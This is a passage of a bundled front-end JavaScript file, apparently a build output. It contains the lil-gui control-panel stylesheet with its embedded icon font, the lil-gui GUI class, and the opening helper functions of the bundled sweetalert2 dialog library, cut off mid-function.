  995. .lil-gui .controller.color input[type=color] {
  996. opacity: 0;
  997. width: 100%;
  998. height: 100%;
  999. cursor: pointer;
  1000. }
  1001. .lil-gui .controller.color input[type=text] {
  1002. margin-left: var(--spacing);
  1003. font-family: var(--font-family-mono);
  1004. min-width: var(--color-input-min-width);
  1005. width: var(--color-input-width);
  1006. flex-shrink: 0;
  1007. }
  1008. .lil-gui .controller.option select {
  1009. opacity: 0;
  1010. position: absolute;
  1011. width: 100%;
  1012. max-width: 100%;
  1013. }
  1014. .lil-gui .controller.option .display {
  1015. position: relative;
  1016. pointer-events: none;
  1017. border-radius: var(--widget-border-radius);
  1018. height: var(--widget-height);
  1019. line-height: var(--widget-height);
  1020. max-width: 100%;
  1021. overflow: hidden;
  1022. word-break: break-all;
  1023. padding-left: 0.55em;
  1024. padding-right: 1.75em;
  1025. background: var(--widget-color);
  1026. }
  1027. @media (hover: hover) {
  1028. .lil-gui .controller.option .display.focus {
  1029. background: var(--focus-color);
  1030. }
  1031. }
  1032. .lil-gui .controller.option .display.active {
  1033. background: var(--focus-color);
  1034. }
  1035. .lil-gui .controller.option .display:after {
  1036. font-family: "lil-gui";
  1037. content: "↕";
  1038. position: absolute;
  1039. top: 0;
  1040. right: 0;
  1041. bottom: 0;
  1042. padding-right: 0.375em;
  1043. }
  1044. .lil-gui .controller.option .widget,
  1045. .lil-gui .controller.option select {
  1046. cursor: pointer;
  1047. }
  1048. @media (hover: hover) {
  1049. .lil-gui .controller.option .widget:hover .display {
  1050. background: var(--hover-color);
  1051. }
  1052. }
  1053. .lil-gui .controller.number input {
  1054. color: var(--number-color);
  1055. }
  1056. .lil-gui .controller.number.hasSlider input {
  1057. margin-left: var(--spacing);
  1058. width: var(--slider-input-width);
  1059. min-width: var(--slider-input-min-width);
  1060. flex-shrink: 0;
  1061. }
  1062. .lil-gui .controller.number .slider {
  1063. width: 100%;
  1064. height: var(--widget-height);
  1065. background-color: var(--widget-color);
  1066. border-radius: var(--widget-border-radius);
  1067. padding-right: var(--slider-knob-width);
  1068. overflow: hidden;
  1069. cursor: ew-resize;
  1070. touch-action: pan-y;
  1071. }
  1072. @media (hover: hover) {
  1073. .lil-gui .controller.number .slider:hover {
  1074. background-color: var(--hover-color);
  1075. }
  1076. }
  1077. .lil-gui .controller.number .slider.active {
  1078. background-color: var(--focus-color);
  1079. }
  1080. .lil-gui .controller.number .slider.active .fill {
  1081. opacity: 0.95;
  1082. }
  1083. .lil-gui .controller.number .fill {
  1084. height: 100%;
  1085. border-right: var(--slider-knob-width) solid var(--number-color);
  1086. box-sizing: content-box;
  1087. }
  1088. .lil-gui-dragging .lil-gui {
  1089. --hover-color: var(--widget-color);
  1090. }
  1091. .lil-gui-dragging * {
  1092. cursor: ew-resize !important;
  1093. }
  1094. .lil-gui-dragging.lil-gui-vertical * {
  1095. cursor: ns-resize !important;
  1096. }
  1097. .lil-gui .title {
  1098. --title-height: calc(var(--widget-height) + var(--spacing) * 1.25);
  1099. height: var(--title-height);
  1100. line-height: calc(var(--title-height) - 4px);
  1101. font-weight: 600;
  1102. padding: 0 var(--padding);
  1103. -webkit-tap-highlight-color: transparent;
  1104. cursor: pointer;
  1105. outline: none;
  1106. text-decoration-skip: objects;
  1107. }
  1108. .lil-gui .title:before {
  1109. font-family: "lil-gui";
  1110. content: "▾";
  1111. padding-right: 2px;
  1112. display: inline-block;
  1113. }
  1114. .lil-gui .title:active {
  1115. background: var(--title-background-color);
  1116. opacity: 0.75;
  1117. }
  1118. @media (hover: hover) {
  1119. body:not(.lil-gui-dragging) .lil-gui .title:hover {
  1120. background: var(--title-background-color);
  1121. opacity: 0.85;
  1122. }
  1123. .lil-gui .title:focus {
  1124. text-decoration: underline var(--focus-color);
  1125. }
  1126. }
  1127. .lil-gui.root > .title:focus {
  1128. text-decoration: none !important;
  1129. }
  1130. .lil-gui.closed > .title:before {
  1131. content: "▸";
  1132. }
  1133. .lil-gui.closed > .children {
  1134. transform: translateY(-7px);
  1135. opacity: 0;
  1136. }
  1137. .lil-gui.closed:not(.transition) > .children {
  1138. display: none;
  1139. }
  1140. .lil-gui.transition > .children {
  1141. transition-duration: 300ms;
  1142. transition-property: height, opacity, transform;
  1143. transition-timing-function: cubic-bezier(0.2, 0.6, 0.35, 1);
  1144. overflow: hidden;
  1145. pointer-events: none;
  1146. }
  1147. .lil-gui .children:empty:before {
  1148. content: "Empty";
  1149. padding: 0 var(--padding);
  1150. margin: var(--spacing) 0;
  1151. display: block;
  1152. height: var(--widget-height);
  1153. font-style: italic;
  1154. line-height: var(--widget-height);
  1155. opacity: 0.5;
  1156. }
  1157. .lil-gui.root > .children > .lil-gui > .title {
  1158. border: 0 solid var(--widget-color);
  1159. border-width: 1px 0;
  1160. transition: border-color 300ms;
  1161. }
  1162. .lil-gui.root > .children > .lil-gui.closed > .title {
  1163. border-bottom-color: transparent;
  1164. }
  1165. .lil-gui + .controller {
  1166. border-top: 1px solid var(--widget-color);
  1167. margin-top: 0;
  1168. padding-top: var(--spacing);
  1169. }
  1170. .lil-gui .lil-gui .lil-gui > .title {
  1171. border: none;
  1172. }
  1173. .lil-gui .lil-gui .lil-gui > .children {
  1174. border: none;
  1175. margin-left: var(--folder-indent);
  1176. border-left: 2px solid var(--widget-color);
  1177. }
  1178. .lil-gui .lil-gui .controller {
  1179. border: none;
  1180. }
  1181. .lil-gui input {
  1182. -webkit-tap-highlight-color: transparent;
  1183. border: 0;
  1184. outline: none;
  1185. font-family: var(--font-family);
  1186. font-size: var(--input-font-size);
  1187. border-radius: var(--widget-border-radius);
  1188. height: var(--widget-height);
  1189. background: var(--widget-color);
  1190. color: var(--text-color);
  1191. width: 100%;
  1192. }
  1193. @media (hover: hover) {
  1194. .lil-gui input:hover {
  1195. background: var(--hover-color);
  1196. }
  1197. .lil-gui input:active {
  1198. background: var(--focus-color);
  1199. }
  1200. }
  1201. .lil-gui input:disabled {
  1202. opacity: 1;
  1203. }
  1204. .lil-gui input[type=text],
  1205. .lil-gui input[type=number] {
  1206. padding: var(--widget-padding);
  1207. }
  1208. .lil-gui input[type=text]:focus,
  1209. .lil-gui input[type=number]:focus {
  1210. background: var(--focus-color);
  1211. }
  1212. .lil-gui input::-webkit-outer-spin-button,
  1213. .lil-gui input::-webkit-inner-spin-button {
  1214. -webkit-appearance: none;
  1215. margin: 0;
  1216. }
  1217. .lil-gui input[type=number] {
  1218. -moz-appearance: textfield;
  1219. }
  1220. .lil-gui input[type=checkbox] {
  1221. appearance: none;
  1222. -webkit-appearance: none;
  1223. height: var(--checkbox-size);
  1224. width: var(--checkbox-size);
  1225. border-radius: var(--widget-border-radius);
  1226. text-align: center;
  1227. cursor: pointer;
  1228. }
  1229. .lil-gui input[type=checkbox]:checked:before {
  1230. font-family: "lil-gui";
  1231. content: "✓";
  1232. font-size: var(--checkbox-size);
  1233. line-height: var(--checkbox-size);
  1234. }
  1235. @media (hover: hover) {
  1236. .lil-gui input[type=checkbox]:focus {
  1237. box-shadow: inset 0 0 0 1px var(--focus-color);
  1238. }
  1239. }
  1240. .lil-gui button {
  1241. -webkit-tap-highlight-color: transparent;
  1242. outline: none;
  1243. cursor: pointer;
  1244. font-family: var(--font-family);
  1245. font-size: var(--font-size);
  1246. color: var(--text-color);
  1247. width: 100%;
  1248. height: var(--widget-height);
  1249. text-transform: none;
  1250. background: var(--widget-color);
  1251. border-radius: var(--widget-border-radius);
  1252. border: 1px solid var(--widget-color);
  1253. text-align: center;
  1254. line-height: calc(var(--widget-height) - 4px);
  1255. }
  1256. @media (hover: hover) {
  1257. .lil-gui button:hover {
  1258. background: var(--hover-color);
  1259. border-color: var(--hover-color);
  1260. }
  1261. .lil-gui button:focus {
  1262. border-color: var(--focus-color);
  1263. }
  1264. }
  1265. .lil-gui button:active {
  1266. background: var(--focus-color);
  1267. }
  1268. @font-face {
  1269. font-family: "lil-gui";
  1270. src: url("data:application/font-woff;charset=utf-8;base64,d09GRgABAAAAAAUsAAsAAAAACJwAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABHU1VCAAABCAAAAH4AAADAImwmYE9TLzIAAAGIAAAAPwAAAGBKqH5SY21hcAAAAcgAAAD0AAACrukyyJBnbHlmAAACvAAAAF8AAACEIZpWH2hlYWQAAAMcAAAAJwAAADZfcj2zaGhlYQAAA0QAAAAYAAAAJAC5AHhobXR4AAADXAAAABAAAABMAZAAAGxvY2EAAANsAAAAFAAAACgCEgIybWF4cAAAA4AAAAAeAAAAIAEfABJuYW1lAAADoAAAASIAAAIK9SUU/XBvc3QAAATEAAAAZgAAAJCTcMc2eJxVjbEOgjAURU+hFRBK1dGRL+ALnAiToyMLEzFpnPz/eAshwSa97517c/MwwJmeB9kwPl+0cf5+uGPZXsqPu4nvZabcSZldZ6kfyWnomFY/eScKqZNWupKJO6kXN3K9uCVoL7iInPr1X5baXs3tjuMqCtzEuagm/AAlzQgPAAB4nGNgYRBlnMDAysDAYM/gBiT5oLQBAwuDJAMDEwMrMwNWEJDmmsJwgCFeXZghBcjlZMgFCzOiKOIFAB71Bb8AeJy1kjFuwkAQRZ+DwRAwBtNQRUGKQ8OdKCAWUhAgKLhIuAsVSpWz5Bbkj3dEgYiUIszqWdpZe+Z7/wB1oCYmIoboiwiLT2WjKl/jscrHfGg/pKdMkyklC5Zs2LEfHYpjcRoPzme9MWWmk3dWbK9ObkWkikOetJ554fWyoEsmdSlt+uR0pCJR34b6t/TVg1SY3sYvdf8vuiKrpyaDXDISiegp17p7579Gp3p++y7HPAiY9pmTibljrr85qSidtlg4+l25GLCaS8e6rRxNBmsnERunKbaOObRz7N72ju5vdAjYpBXHgJylOAVsMseDAPEP8LYoUHicY2BiAAEfhiAGJgZWBgZ7RnFRdnVJELCQlBSRlATJMoLV2DK4glSYs6ubq5vbKrJLSbGrgEmovDuDJVhe3VzcXFwNLCOILB/C4IuQ1xTn5FPilBTj5FPmBAB4WwoqAHicY2BkYGAA4sk1sR/j+W2+MnAzpDBgAyEMQUCSg4EJxAEAwUgFHgB4nGNgZGBgSGFggJMhDIwMqEAYAByHATJ4nGNgAIIUNEwmAABl3AGReJxjYAACIQYlBiMGJ3wQAEcQBEV4nGNgZGBgEGZgY2BiAAEQyQWEDAz/wXwGAAsPATIAAHicXdBNSsNAHAXwl35iA0UQXYnMShfS9GPZA7T7LgIu03SSpkwzYTIt1BN4Ak/gKTyAeCxfw39jZkjymzcvAwmAW/wgwHUEGDb36+jQQ3GXGot79L24jxCP4gHzF/EIr4jEIe7wxhOC3g2TMYy4Q7+Lu/SHuEd/ivt4wJd4wPxbPEKMX3GI5+DJFGaSn4qNzk8mcbKSR6xdXdhSzaOZJGtdapd4vVPbi6rP+cL7TGXOHtXKll4bY1Xl7EGnPtp7Xy2n00zyKLVHfkHBa4IcJ2oD3cgggWvt/V/FbDrUlEUJhTn/0azVWbNTNr0Ens8de1tceK9xZmfB1CPjOmPH4kitmvOubcNpmVTN3oFJyjzCvnmrwhJTzqzVj9jiSX911FjeAAB4nG3HMRKCMBBA0f0giiKi4DU8k0V2GWbIZDOh4PoWWvq6J5V8If9NVNQcaDhyouXMhY4rPTcG7jwYmXhKq8Wz+p762aNaeYXom2n3m2dLTVgsrCgFJ7OTmIkYbwIbC6vIB7WmFfAAAA==") format("woff");
  1271. }`;
  1272. function _injectStyles(cssContent) {
  1273. const injected = document.createElement("style");
  1274. injected.innerHTML = cssContent;
  1275. const before = document.querySelector("head link[rel=stylesheet], head style");
  1276. if (before) {
  1277. document.head.insertBefore(injected, before);
  1278. } else {
  1279. document.head.appendChild(injected);
  1280. }
  1281. }
  1282. let stylesInjected = false;
  1283. class GUI {
  1284. constructor({
  1285. parent,
  1286. autoPlace = parent === void 0,
  1287. container,
  1288. width,
  1289. title = "Controls",
  1290. injectStyles = true,
  1291. touchStyles = true
  1292. } = {}) {
  1293. this.parent = parent;
  1294. this.root = parent ? parent.root : this;
  1295. this.children = [];
  1296. this.controllers = [];
  1297. this.folders = [];
  1298. this._closed = false;
  1299. this._hidden = false;
  1300. this.domElement = document.createElement("div");
  1301. this.domElement.classList.add("lil-gui");
  1302. this.$title = document.createElement("div");
  1303. this.$title.classList.add("title");
  1304. this.$title.setAttribute("role", "button");
  1305. this.$title.setAttribute("aria-expanded", true);
  1306. this.$title.setAttribute("tabindex", 0);
  1307. this.$title.addEventListener("click", () => this.openAnimated(this._closed));
  1308. this.$title.addEventListener("keydown", (e) => {
  1309. if (e.code === "Enter" || e.code === "Space") {
  1310. e.preventDefault();
  1311. this.$title.click();
  1312. }
  1313. });
  1314. this.$title.addEventListener("touchstart", () => {
  1315. }, { passive: true });
  1316. this.$children = document.createElement("div");
  1317. this.$children.classList.add("children");
  1318. this.domElement.appendChild(this.$title);
  1319. this.domElement.appendChild(this.$children);
  1320. this.title(title);
  1321. if (touchStyles) {
  1322. this.domElement.classList.add("allow-touch-styles");
  1323. }
  1324. if (this.parent) {
  1325. this.parent.children.push(this);
  1326. this.parent.folders.push(this);
  1327. this.parent.$children.appendChild(this.domElement);
  1328. return;
  1329. }
  1330. this.domElement.classList.add("root");
  1331. if (!stylesInjected && injectStyles) {
  1332. _injectStyles(stylesheet);
  1333. stylesInjected = true;
  1334. }
  1335. if (container) {
  1336. container.appendChild(this.domElement);
  1337. } else if (autoPlace) {
  1338. this.domElement.classList.add("autoPlace");
  1339. document.body.appendChild(this.domElement);
  1340. }
  1341. if (width) {
  1342. this.domElement.style.setProperty("--width", width + "px");
  1343. }
  1344. this.domElement.addEventListener("keydown", (e) => e.stopPropagation());
  1345. this.domElement.addEventListener("keyup", (e) => e.stopPropagation());
  1346. }
  1347. add(object, property, $1, max, step) {
  1348. if (Object($1) === $1) {
  1349. return new OptionController(this, object, property, $1);
  1350. }
  1351. const initialValue = object[property];
  1352. switch (typeof initialValue) {
  1353. case "number":
  1354. return new NumberController(this, object, property, $1, max, step);
  1355. case "boolean":
  1356. return new BooleanController(this, object, property);
  1357. case "string":
  1358. return new StringController(this, object, property);
  1359. case "function":
  1360. return new FunctionController(this, object, property);
  1361. }
  1362. console.error(`gui.add failed
  1363. property:`, property, `
  1364. object:`, object, `
  1365. value:`, initialValue);
  1366. }
  1367. addColor(object, property, rgbScale = 1) {
  1368. return new ColorController(this, object, property, rgbScale);
  1369. }
  1370. addFolder(title) {
  1371. return new GUI({ parent: this, title });
  1372. }
  1373. load(obj, recursive = true) {
  1374. if (obj.controllers) {
  1375. this.controllers.forEach((c) => {
  1376. if (c instanceof FunctionController)
  1377. return;
  1378. if (c._name in obj.controllers) {
  1379. c.load(obj.controllers[c._name]);
  1380. }
  1381. });
  1382. }
  1383. if (recursive && obj.folders) {
  1384. this.folders.forEach((f) => {
  1385. if (f._title in obj.folders) {
  1386. f.load(obj.folders[f._title]);
  1387. }
  1388. });
  1389. }
  1390. return this;
  1391. }
  1392. save(recursive = true) {
  1393. const obj = {
  1394. controllers: {},
  1395. folders: {}
  1396. };
  1397. this.controllers.forEach((c) => {
  1398. if (c instanceof FunctionController)
  1399. return;
  1400. if (c._name in obj.controllers) {
  1401. throw new Error(`Cannot save GUI with duplicate property "${c._name}"`);
  1402. }
  1403. obj.controllers[c._name] = c.save();
  1404. });
  1405. if (recursive) {
  1406. this.folders.forEach((f) => {
  1407. if (f._title in obj.folders) {
  1408. throw new Error(`Cannot save GUI with duplicate folder "${f._title}"`);
  1409. }
  1410. obj.folders[f._title] = f.save();
  1411. });
  1412. }
  1413. return obj;
  1414. }
  1415. open(open2 = true) {
  1416. this._closed = !open2;
  1417. this.$title.setAttribute("aria-expanded", !this._closed);
  1418. this.domElement.classList.toggle("closed", this._closed);
  1419. return this;
  1420. }
  1421. close() {
  1422. return this.open(false);
  1423. }
  1424. show(show = true) {
  1425. this._hidden = !show;
  1426. this.domElement.style.display = this._hidden ? "none" : "";
  1427. return this;
  1428. }
  1429. hide() {
  1430. return this.show(false);
  1431. }
  1432. openAnimated(open2 = true) {
  1433. this._closed = !open2;
  1434. this.$title.setAttribute("aria-expanded", !this._closed);
  1435. requestAnimationFrame(() => {
  1436. const initialHeight = this.$children.clientHeight;
  1437. this.$children.style.height = initialHeight + "px";
  1438. this.domElement.classList.add("transition");
  1439. const onTransitionEnd = (e) => {
  1440. if (e.target !== this.$children)
  1441. return;
  1442. this.$children.style.height = "";
  1443. this.domElement.classList.remove("transition");
  1444. this.$children.removeEventListener("transitionend", onTransitionEnd);
  1445. };
  1446. this.$children.addEventListener("transitionend", onTransitionEnd);
  1447. const targetHeight = !open2 ? 0 : this.$children.scrollHeight;
  1448. this.domElement.classList.toggle("closed", !open2);
  1449. requestAnimationFrame(() => {
  1450. this.$children.style.height = targetHeight + "px";
  1451. });
  1452. });
  1453. return this;
  1454. }
  1455. title(title) {
  1456. this._title = title;
  1457. this.$title.innerHTML = title;
  1458. return this;
  1459. }
  1460. reset(recursive = true) {
  1461. const controllers = recursive ? this.controllersRecursive() : this.controllers;
  1462. controllers.forEach((c) => c.reset());
  1463. return this;
  1464. }
  1465. onChange(callback) {
  1466. this._onChange = callback;
  1467. return this;
  1468. }
  1469. _callOnChange(controller) {
  1470. if (this.parent) {
  1471. this.parent._callOnChange(controller);
  1472. }
  1473. if (this._onChange !== void 0) {
  1474. this._onChange.call(this, {
  1475. object: controller.object,
  1476. property: controller.property,
  1477. value: controller.getValue(),
  1478. controller
  1479. });
  1480. }
  1481. }
  1482. onFinishChange(callback) {
  1483. this._onFinishChange = callback;
  1484. return this;
  1485. }
  1486. _callOnFinishChange(controller) {
  1487. if (this.parent) {
  1488. this.parent._callOnFinishChange(controller);
  1489. }
  1490. if (this._onFinishChange !== void 0) {
  1491. this._onFinishChange.call(this, {
  1492. object: controller.object,
  1493. property: controller.property,
  1494. value: controller.getValue(),
  1495. controller
  1496. });
  1497. }
  1498. }
  1499. destroy() {
  1500. if (this.parent) {
  1501. this.parent.children.splice(this.parent.children.indexOf(this), 1);
  1502. this.parent.folders.splice(this.parent.folders.indexOf(this), 1);
  1503. }
  1504. if (this.domElement.parentElement) {
  1505. this.domElement.parentElement.removeChild(this.domElement);
  1506. }
  1507. Array.from(this.children).forEach((c) => c.destroy());
  1508. }
  1509. controllersRecursive() {
  1510. let controllers = Array.from(this.controllers);
  1511. this.folders.forEach((f) => {
  1512. controllers = controllers.concat(f.controllersRecursive());
  1513. });
  1514. return controllers;
  1515. }
  1516. foldersRecursive() {
  1517. let folders = Array.from(this.folders);
  1518. this.folders.forEach((f) => {
  1519. folders = folders.concat(f.foldersRecursive());
  1520. });
  1521. return folders;
  1522. }
  1523. }
  1524. var commonjsGlobal = typeof globalThis !== "undefined" ? globalThis : typeof window !== "undefined" ? window : typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : {};
  1525. var sweetalert2_all = { exports: {} };
  1526. (function(module, exports) {
  1527. (function(global2, factory) {
  1528. module.exports = factory();
  1529. })(commonjsGlobal, function() {
  1530. var privateProps = {
  1531. awaitingPromise: /* @__PURE__ */ new WeakMap(),
  1532. promise: /* @__PURE__ */ new WeakMap(),
  1533. innerParams: /* @__PURE__ */ new WeakMap(),
  1534. domCache: /* @__PURE__ */ new WeakMap()
  1535. };
  1536. const swalPrefix = "swal2-";
  1537. const prefix = (items) => {
  1538. const result = {};
  1539. for (const i in items) {
  1540. result[items[i]] = swalPrefix + items[i];
  1541. }
  1542. return result;
  1543. };
  1544. const swalClasses = prefix(["container", "shown", "height-auto", "iosfix", "popup", "modal", "no-backdrop", "no-transition", "toast", "toast-shown", "show", "hide", "close", "title", "html-container", "actions", "confirm", "deny", "cancel", "default-outline", "footer", "icon", "icon-content", "image", "input", "file", "range", "select", "radio", "checkbox", "label", "textarea", "inputerror", "input-label", "validation-message", "progress-steps", "active-progress-step", "progress-step", "progress-step-line", "loader", "loading", "styled", "top", "top-start", "top-end", "top-left", "top-right", "center", "center-start", "center-end", "center-left", "center-right", "bottom", "bottom-start", "bottom-end", "bottom-left", "bottom-right", "grow-row", "grow-column", "grow-fullscreen", "rtl", "timer-progress-bar", "timer-progress-bar-container", "scrollbar-measure", "icon-success", "icon-warning", "icon-info", "icon-question", "icon-error"]);
  1545. const iconTypes = prefix(["success", "warning", "info", "question", "error"]);
  1546. const consolePrefix = "SweetAlert2:";
  1547. const uniqueArray = (arr) => {
  1548. const result = [];
  1549. for (let i = 0; i < arr.length; i++) {
  1550. if (result.indexOf(arr[i]) === -1) {
  1551. result.push(arr[i]);
  1552. }
  1553. }
  1554. return result;
  1555. };
  1556. const capitalizeFirstLetter = (str) => str.charAt(0).toUpperCase() + str.slice(1);
  1557. const warn = (message) => {
  1558. console.warn(`${consolePrefix} ${typeof message === "object" ? message.join(" ") : message}`);
  1559. };
  1560. const error = (message) => {
  1561. console.error(`${consolePrefix} ${message}`);
  1562. };
  1563. const previousWarnOnceMessages = [];
  1564. const warnOnce = (message) => {
  1565. if (!previousWarnOnceMessages.includes(message)) {
  1566. previousWarnOnceMessages.push(message);
  1567. warn(message);
  1568. }
  1569. };
  1570. const warnAboutDeprecation = (deprecatedParam, useInstead) => {
  1571. warnOnce(`"${deprecatedParam}" is deprecated and will be removed in the next major release. Please use "${useInstead}" instead.`);
  1572. };
  1573. const callIfFunction = (arg) => typeof arg === "function" ? arg() : arg;
  1574. const hasToPromiseFn = (arg) => arg && typeof arg.toPromise === "function";
  1575. const asPromise = (arg) => hasToPromiseFn(arg) ? arg.toPromise() : Promise.resolve(arg);
  1576. const isPromise = (arg) => arg && Promise.resolve(arg) === arg;
  1577. const getContainer = () => document.body.querySelector(`.${swalClasses.container}`);
  1578. const elementBySelector = (selectorString) => {
  1579. const container = getContainer();
  1580. return container ? container.querySelector(selectorString) : null;
  1581. };
  1582. const elementByClass = (className) => {
  1583. return elementBySelector(`.${className}`);
  1584. };
  1585. const getPopup = () => elementByClass(swalClasses.popup);
  1586. const getIcon = () => elementByClass(swalClasses.icon);
  1587. const getIconContent = () => elementByClass(swalClasses["icon-content"]);
  1588. const getTitle = () => elementByClass(swalClasses.title);
  1589. const getHtmlContainer = () => elementByClass(swalClasses["html-container"]);
  1590. const getImage = () => elementByClass(swalClasses.image);
  1591. const getProgressSteps = () => elementByClass(swalClasses["progress-steps"]);
  1592. const getValidationMessage = () => elementByClass(swalClasses["validation-message"]);
  1593. const getConfirmButton = () => elementBySelector(`.${swalClasses.actions} .${swalClasses.confirm}`);
  1594. const getDenyButton = () => elementBySelector(`.${swalClasses.actions} .${swalClasses.deny}`);
  1595. const getInputLabel = () => elementByClass(swalClasses["input-label"]);
  1596. const getLoader = () => elementBySelector(`.${swalClasses.loader}`);
  1597. const getCancelButton = () => elementBySelector(`.${swalClasses.actions} .${swalClasses.cancel}`);
  1598. const getActions = () => elementByClass(swalClasses.actions);
  1599. const getFooter = () => elementByClass(swalClasses.footer);
  1600. const getTimerProgressBar = () => elementByClass(swalClasses["timer-progress-bar"]);
  1601. const getCloseButton = () => elementByClass(swalClasses.close);
  1602. const focusable = `
  1603. a[href],
  1604. area[href],
  1605. input:not([disabled]),
  1606. select:not([disabled]),
  1607. textarea:not([disabled]),
  1608. button:not([disabled]),
  1609. iframe,
  1610. object,
  1611. embed,
  1612. [tabindex="0"],
  1613. [contenteditable],
  1614. audio[controls],
  1615. video[controls],
  1616. summary
  1617. `;
  1618. const getFocusableElements = () => {
  1619. const focusableElementsWithTabindex = Array.from(getPopup().querySelectorAll('[tabindex]:not([tabindex="-1"]):not([tabindex="0"])')).sort((a, b) => {
  1620. const tabindexA = parseInt(a.getAttribute("tabindex"));
  1621. const tabindexB = parseInt(b.getAttribute("tabindex"));
  1622. if (tabindexA > tabindexB) {
  1623. return 1;
  1624. } else if (tabindexA < tabindexB) {
  1625. return -1;
  1626. }
  1627. return 0;
  1628. });
  1629. const otherFocusableElements = Array.from(getPopup().querySelectorAll(focusable)).filter((el) => el.getAttribute("tabindex") !== "-1");
  1630. return uniqueArray(focusableElementsWithTabindex.concat(otherFocusableElements)).filter((el) => isVisible$1(el));
  1631. };
  1632. const isModal = () => {
  1633. return hasClass(document.body, swalClasses.shown) && !hasClass(document.body, swalClasses["toast-shown"]) && !hasClass(document.body, swalClasses["no-backdrop"]);
  1634. };
  1635. const isToast = () => {
  1636. return getPopup() && hasClass(getPopup(), swalClasses.toast);
  1637. };
  1638. const isLoading = () => {
  1639. return getPopup().hasAttribute("data-loading");
  1640. };
  1641. const states = {
  1642. previousBodyPadding: null
  1643. };
  1644. const setInnerHtml = (elem, html) => {
  1645. elem.textContent = "";
  1646. if (html) {
  1647. const parser = new DOMParser();
  1648. const parsed = parser.parseFromString(html, `text/html`);
  1649. Array.from(parsed.querySelector("head").childNodes).forEach((child) => {
  1650. elem.appendChild(child);
  1651. });
  1652. Array.from(parsed.querySelector("body").childNodes).forEach((child) => {
  1653. if (child instanceof HTMLVideoElement || child instanceof HTMLAudioElement) {
  1654. elem.appendChild(child.cloneNode(true));
  1655. } else {
  1656. elem.appendChild(child);
  1657. }
  1658. });
  1659. }
  1660. };
  1661. const hasClass = (elem, className) => {
  1662. if (!className) {
  1663. return false;
  1664. }
  1665. const classList = className.split(/\s+/);
  1666. for (let i = 0; i < classList.length; i++) {
  1667. if (!elem.classList.contains(classList[i])) {
  1668. return false;
  1669. }
  1670. }
  1671. return true;
  1672. };
  1673. const removeCustomClasses = (elem, params) => {
  1674. Array.from(elem.classList).forEach((className) => {
  1675. if (!Object.values(swalClasses).includes(className) && !Object.values(iconTypes).includes(className) && !Object.values(params.showClass).includes(className)) {
  1676. elem.classList.remove(className);
  1677. }
  1678. });
  1679. };
  1680. const applyCustomClass = (elem, params, className) => {
  1681. removeCustomClasses(elem, params);
  1682. if (params.customClass && params.customClass[className]) {
  1683. if (typeof params.customClass[className] !== "string" && !params.customClass[className].forEach) {
  1684. warn(`Invalid type of customClass.${className}! Expected string or iterable object, got "${typeof params.customClass[className]}"`);
  1685. return;
  1686. }
  1687. addClass(elem, params.customClass[className]);
  1688. }
  1689. };
  1690. const getInput$1 = (popup, inputClass) => {
  1691. if (!inputClass) {
  1692. return null;
  1693. }
  1694. switch (inputClass) {
  1695. case "select":
  1696. case "textarea":
  1697. case "file":
  1698. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses[inputClass]}`);
  1699. case "checkbox":
  1700. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.checkbox} input`);
  1701. case "radio":
  1702. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:checked`) || popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:first-child`);
  1703. case "range":
  1704. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.range} input`);
  1705. default:
  1706. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.input}`);
  1707. }
  1708. };
  1709. const focusInput = (input) => {
  1710. input.focus();
  1711. if (input.type !== "file") {
  1712. const val = input.value;
  1713. input.value = "";
  1714. input.value = val;
  1715. }
  1716. };
  1717. const toggleClass = (target, classList, condition) => {
  1718. if (!target || !classList) {
  1719. return;
  1720. }
  1721. if (typeof classList === "string") {
  1722. classList = classList.split(/\s+/).filter(Boolean);
  1723. }
  1724. classList.forEach((className) => {
  1725. if (Array.isArray(target)) {
  1726. target.forEach((elem) => {
  1727. condition ? elem.classList.add(className) : elem.classList.remove(className);
  1728. });
  1729. } else {
  1730. condition ? target.classList.add(className) : target.classList.remove(className);
  1731. }
  1732. });
  1733. };
  1734. const addClass = (target, classList) => {
  1735. toggleClass(target, classList, true);
  1736. };
  1737. const removeClass = (target, classList) => {
  1738. toggleClass(target, classList, false);
  1739. };
  1740. const getDirectChildByClass = (elem, className) => {
  1741. const children = Array.from(elem.children);
  1742. for (let i = 0; i < children.length; i++) {
  1743. const child = children[i];
  1744. if (child instanceof HTMLElement && hasClass(child, className)) {
  1745. return child;
  1746. }
  1747. }
  1748. };
  1749. const applyNumericalStyle = (elem, property, value) => {
  1750. if (value === `${parseInt(value)}`) {
  1751. value = parseInt(value);
  1752. }
  1753. if (value || parseInt(value) === 0) {
  1754. elem.style[property] = typeof value === "number" ? `${value}px` : value;
  1755. } else {
  1756. elem.style.removeProperty(property);
  1757. }
  1758. };
  1759. const show = function(elem) {
  1760. let display = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : "flex";
  1761. elem.style.display = display;
  1762. };
  1763. const hide = (elem) => {
  1764. elem.style.display = "none";
  1765. };
  1766. const setStyle = (parent, selector, property, value) => {
  1767. const el = parent.querySelector(selector);
  1768. if (el) {
  1769. el.style[property] = value;
  1770. }
  1771. };
  1772. const toggle = function(elem, condition) {
  1773. let display = arguments.length > 2 && arguments[2] !== void 0 ? arguments[2] : "flex";
  1774. condition ? show(elem, display) : hide(elem);
  1775. };
  1776. const isVisible$1 = (elem) => !!(elem && (elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length));
  1777. const allButtonsAreHidden = () => !isVisible$1(getConfirmButton()) && !isVisible$1(getDenyButton()) && !isVisible$1(getCancelButton());
  1778. const isScrollable = (elem) => !!(elem.scrollHeight > elem.clientHeight);
  1779. const hasCssAnimation = (elem) => {
  1780. const style = window.getComputedStyle(elem);
  1781. const animDuration = parseFloat(style.getPropertyValue("animation-duration") || "0");
  1782. const transDuration = parseFloat(style.getPropertyValue("transition-duration") || "0");
  1783. return animDuration > 0 || transDuration > 0;
  1784. };
  1785. const animateTimerProgressBar = function(timer) {
  1786. let reset = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : false;
  1787. const timerProgressBar = getTimerProgressBar();
  1788. if (isVisible$1(timerProgressBar)) {
  1789. if (reset) {
  1790. timerProgressBar.style.transition = "none";
  1791. timerProgressBar.style.width = "100%";
  1792. }
  1793. setTimeout(() => {
